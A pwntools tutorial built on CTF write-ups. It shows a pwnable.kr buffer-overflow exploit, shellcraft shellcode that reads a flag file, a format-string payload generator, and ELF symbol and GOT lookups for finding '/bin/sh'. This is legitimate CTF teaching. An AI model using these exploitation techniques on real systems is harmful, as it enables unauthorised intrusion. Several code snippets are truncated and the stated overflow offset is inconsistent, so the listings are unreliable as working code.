Learn Pwntools Step by Step


logo Pwntools is a framework which provides binary exploit utilities. The official document gives us its detailed usage. However, there is no tutorial section or something like that in the official doc. So, I use several pwn writeups here as a tutorial. While we focus on how to use pwntools, I won’t spend too much time on explaining the challenge.

A “Hello World” for Pwntools

The “Hello World” for pwner is definitely buffer overflow. Here, let’s demonstrate pwntools with it. We use bof in pwnable.kr as our challenge.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
int main(int argc, char* argv[]){
	return 0;
from pwn import * 
c = remote("pwnable.kr", 9000) 
c.sendline("AAAA" * 13 + p32(0xcafebabe))

This challenge is pretty easy, we just need to overwrite key with 0xcafebabe.

Now let’s focus on pwntools script. The first line is straight forward. We import all pwntools utilities.

remote("A domain or ip address", port) will connect to specified host and port then return an object to you (here we store it in variable c). This object is primary for IO. The returned object has following methods:

  • send(payload) send payload
  • sendline(payload) send your payload ending with new line
  • sendafter(some_string, payload) after receiving some_string , send your payload
  • recvn(N) receive N(a number) characters
  • recvline() receive one line
  • recvlines(N) receive N(a number) lines
  • recvuntil(some_string) retrieve until some_string

In the third line, p32() provides us a simple way to convert integer to little endian. p32 converts 4 bits number. p64 and p16 convert 8 bit and 2 bit number. c.sendline will send our payload to the remote server we just connect. "AAAA" * 14 is the offset from our input to key variable. Pwntools cannot automatically calculate buffer overflow offset. You have to do that your self.

Finally, we get our shell. You may want to send system commands yourself. c.interactive() allows users to input commands in their terminals. Pwntools will automatically send and show response from server.

Interactive Mode

Write Shellcode

The next challenge is asm from pwnable.kr. You need to use ssh -p2222 asm@pwnable.kr and enter password guest to retrieve source code and binary. Here, we only demonstrate exploit code:

from pwn import *

p = process("./asm")
context.log_level = 'DEBUG'

context(arch='amd64', os='linux')

shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',0)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)

p.recvuntil('shellcode: ')

We introduce several new concepts now: process(), contex.log_level, gdb.attach, and shellcraft. process is similar to remote. While remote allows you to connect remote host, process create a new process locally. Just specify the path to your binary. Besides do IO, the object p returned by process can be also attached to gdb via gdb.attach(p). After attaching, you can use gdb to debug your program (set breakpoints, print stack, and disassemble).

Attach Process to GDB (here with pwndbg plugin)

Remind: if you want to use gdb.attach() in CLI, you need to install and run tmux. For more about tmux, click here.

You may want to see the response from process or server. But it’s inconvenient to add print before every recvline or recvuntil. context.log_level becomes extremely useful in this scenario. When you set it to "DEBUG" , it will print every characters from requests and responses.

shellcraft is a class that helps you to program shellcode. Use shellcraft.ARCHITECTURE.FUNCTION_CALL to generate. In our example, we create open a file and read the file to stdout to leak flag. For more details, you can view official document.

Payload Generator for Format String Vulnerability

I did not find a format string challenge that is simple enough to demonstrate. Here I use the program from pwntools official document:

from pwn import *
import tempfile

program = tempfile.mktemp()
source  = program + ".c"
write(source, '''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
       char buff[1024];
       void *ptr = NULL;
       int *my_var = TARGET;
       if(ptr != MEMORY_ADDRESS)
               return EXIT_FAILURE;
       *my_var = 0x41414141;
       write(1, &my_var, sizeof(int *));
       scanf("%s", buff);
       dprintf(2, buff);
       write(1, my_var, sizeof(int));
       return 0;
cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
def exec_fmt(payload):
    p = process(program)
    return p.recvall()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
p = process(program, stderr=PIPE)
addr = u32(p.recv(4))
payload = fmtstr_payload(offset, {addr: 0x1337babe})
print hex(unpack(p.recv(4)))

With FmtStr, you do not have to calculate offset painfully. To use that, you need to write a function which returns the output from format string bug. Then, it will return an object autofmt. This object contains attribute offset, which is the offset to trigger fmt bug. fmtstr_payload(offset, {address: value}) gives us the final payload. The first parameter, offset, should be the offset calculated by autofmt.offset. Then, you need to specify the address you want to change and the new value to overwrite via {address: value} format. You can overwrite more addresses like this: {address1: value1, address2:value2,..., address: valueN}.

Sometimes, you have to generate fmtstr payload yourself. Just check the document for fmtstr_payload.

Use ELF()

Some challenges provide libc. It’s creepy to load them in gdb them use gdb> x function1 — function2 to calculate offset.

from pwn import *

e = ELF('./example_file')
print hex(e.address)  # 0x400000
print hex(e.symbols['write']) # 0x401680
print hex(e.got['write']) # 0x60b070
print hex(e.plt['write']) # 0x401680
offset = e.symbols['system'] - e.symbols['printf'] # calculate offset
binsh_address = next(e.search('/bin/sh\x00')) # find address which contains /bin/sh

Like creating a local process, we just need to provide path to ELF(path) to read our ELF.

Here, we cover following methods:

  • symbols['a_function'] finds the address of a_function
  • got['a_function'] shows the got of a_function
  • plt['a_function'] shows the plt of a_function
  • next(e.search("some_characters")) finds the address which contains some_characters . It can be either disassemble code or some character strings.


Pwntools is a powerful tool set. In this post, I introduce tools that are used most frequently, but there are still many powerful utilities in pwntools like qemu, adb, and gdb waiting for you to discover